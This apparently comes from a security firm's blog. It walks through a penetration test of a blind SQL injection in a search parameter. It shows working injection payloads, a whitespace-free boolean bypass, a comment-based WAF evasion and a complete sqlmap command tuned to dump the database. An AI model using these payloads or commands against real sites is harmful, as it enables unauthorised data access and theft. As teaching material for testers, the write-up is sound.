Automating a Thorny SQL Injection With SQLMap
SQL Injection#
SQL injection, one of the common server-side vulnerability that is found in web applications. The attack consists of insertion or “injection” of a SQL query through the input data from the client to the application. A successful of this attack could allow an attacker to read sensitive data from the database, modify database data (Insert/Update/Delete), execute administration operations on the database (such as shutdown the DBMS), recover the content of a given file present on the DBMS file system and in some cases issue commands to the operating system.
SQLMap#
An open source tool used in penetration testing to automate the process of detecting and exploiting SQL Injection vulnerability.
The Vulnerability#
The vulnerable parameter was found in one of the search functionality available in the website where it allow users to get a list of maps by querying the map’s code reference.Let’s assume the vulnerable parameter is Code
.
http://aura.blog/index.aspx?action=search&Code=sqli
The Attack#
Always in most of the cases, a single quote '
is sufficient to let the application throws the SQL error if the parameter does not securely validate the user’s input.
http://aura.blog/index.aspx?action=search&Code=sqli
The website showed the SQL error similar as follow:
Invalid SQL generated: SELECT distinct top 999 blah.geodetic_code , blah.latitude FROM cake_code_index blah1 , cake_code_index blah, cake_mark_cache , cake_latlon_index blah WHERE blah.map_code in ('sqli'') AND blah.nod_id = blah1.nod_id AND cake_mark_cache.GeodeticCode = blah.map_code AND blah.nod_id = blah.nod_id ORDER BY blah.lat DESC
Thanks to this SQL error, I knew that the injection point is situated at the WHERE
clause and also inside the parentheses. Usually, this can be easily break-out and injected using the following attack payload.
http://aura.blog/index.aspx?action=search&Code=sqli') AND 1=1 ('
Here comes the first challenge, the above SQLi payload is blocked and the request was dropped down. Potentially there’s a WAF or blacklist filtering available in this application.
It was fine. I tried another query without the boolean statement.
http://aura.blog/index.aspx?action=search&Code=sqli') AND 1 ('
The query worked fine but there’s another challenge. Strings after a whitespace will be accepted by the application as an additional value which resulting the following query.
Invalid SQL generated: SELECT distinct top 999 blah.geodetic_code , blah.latitude FROM cake_code_index blah1 , cake_code_index blah, cake_mark_cache , cake_latlon_index blah WHERE blah.map_code in ('('','0','SQLI')','AND') AND blah.nod_id = blah1.nod_id AND cake_mark_cache.GeodeticCode = blah.map_code AND blah.nod_id = blah.nod_id ORDER BY blah.lat DESC
What a weird thing to happen.
First Attempt to Bypass#
That does not stopped me at all as I’ve experienced the similar situation before. Since whitespace is not allowed at this stage, I tried to bypass it first by replacing not using any at all.
http://aura.blog/index.aspx?action=search&Code=sqli')and(1=1)--('
Awesome. The above method worked. From the above TRUE/FALSE statement, I can identified what was the TRUE/FALSE responses.
TRUE - Application took 100 seconds to load and responded in 200 OK
status on an error page.
FALSE - Application took 8 seconds to load and responded in 200 OK
status on the same search page.
From here, it is easy to retrieve the data as a proof of concept that needed to be included in the technical report. Using Burp’s Intruder attack, I enumerated the possible characters of current DBMS version based on the boolean injection below:
http://aura.blog/index.aspx?action=search&Code=sqli')and(substring(@@version,1,1))=('<enumerate_here>')--('
Looking at the Intruder’s results, it is confirmed the current DBMS version is Microsoft SQL Server 2005.
Automating The Attack#
This is where SQLMap is needed. At this stage, the information that I have were:
- Vulnerable parameter
- TRUE/FALSE responses
- Whitespace can’t be used
- DBMS is MSSQL
The first SQLMap query that I used was:
./sqlmap.py --url="http://aura.blog/index.aspx?action=search&Code=sqli" --random-agent --level=5 -p="Code" --dbms=mssql --tamper=space2comment
In this first query, I used SQLMap’s tamper script; space2comment
with the assumption this could helps to bypass the whitespace restriction.
No joy. SQLMap did not seems considering the parameter is vulnerable. From this first attempt, I found three flaws with my query.
First Flaw - Timeout#
TRUE statement required more than 100 seconds to response. However, SQLMap’s default timeout is 30 seconds. This can be resolved by modifying the SQLMap’s timeout to higher than 100 seconds using `–timeout=“105”.
Second Flaw - Parentheses#
Since the value is queried in a parentheses, I need to ensure the SQLMap payloads are requested at the correct injection point.
http://aura.blog/index.aspx?action=search&Code=sqli') SQLMap ('
Thus, we need to utilise the --prefix
and --suffix
options in SQLMap.
Third Flaw - space2comment
tamper script can’t be used#
This tamper script will replace whitespace with a comment strings /**/
. I’ve found that this strings only worked in a few situation but not entirely help bypassing the restriction. This is because, at a certain requests, the WAF or the blacklisting thing exist in the application will again picked up the query and dropped down the request. I played around again and found another way to bypass it by replacing the whitespace with /*!foo*/
.
I copied the existing space2comment
and replace the codes to ensure when SQLMap running with this tamper script, the space character will be replaced with /*!foo*/
Again, Automating The Attack#
Now, re-run the SQLMap with the following options:
./sqlmap.py --url="http://aura.blog/index.aspx?action=search&Code=sqli" --prefix="')" --suffix="--('" --random-agent --level=5 -p="Code" --tamper=space2commentwithstring --dbms=mssql --timeout="105" --not-string="Map Results" --technique=B
Now I can happily dump the data while enjoying my morning long-black coffee.
Note: I’d included --not-string
option to ensure SQLMap can identify the TRUE/FALSE responded page and --technique
to force only Boolean-based blind injection technique is used.
References#
- SQLMap list of options: https://github.com/sqlmapproject/sqlmap/wiki/Usage
- SQL Injection Cheat Sheet for MSSQL: http://pentestmonkey.net/cheat-sheet/sql-injection/mssql-sql-injection-cheat-sheet
Disclaimer#
The information in this article is provided for research and educational purposes only. Aura Information Security does not accept any liability in any form for any direct or indirect damages resulting from the use of or reliance on the information contained in this article.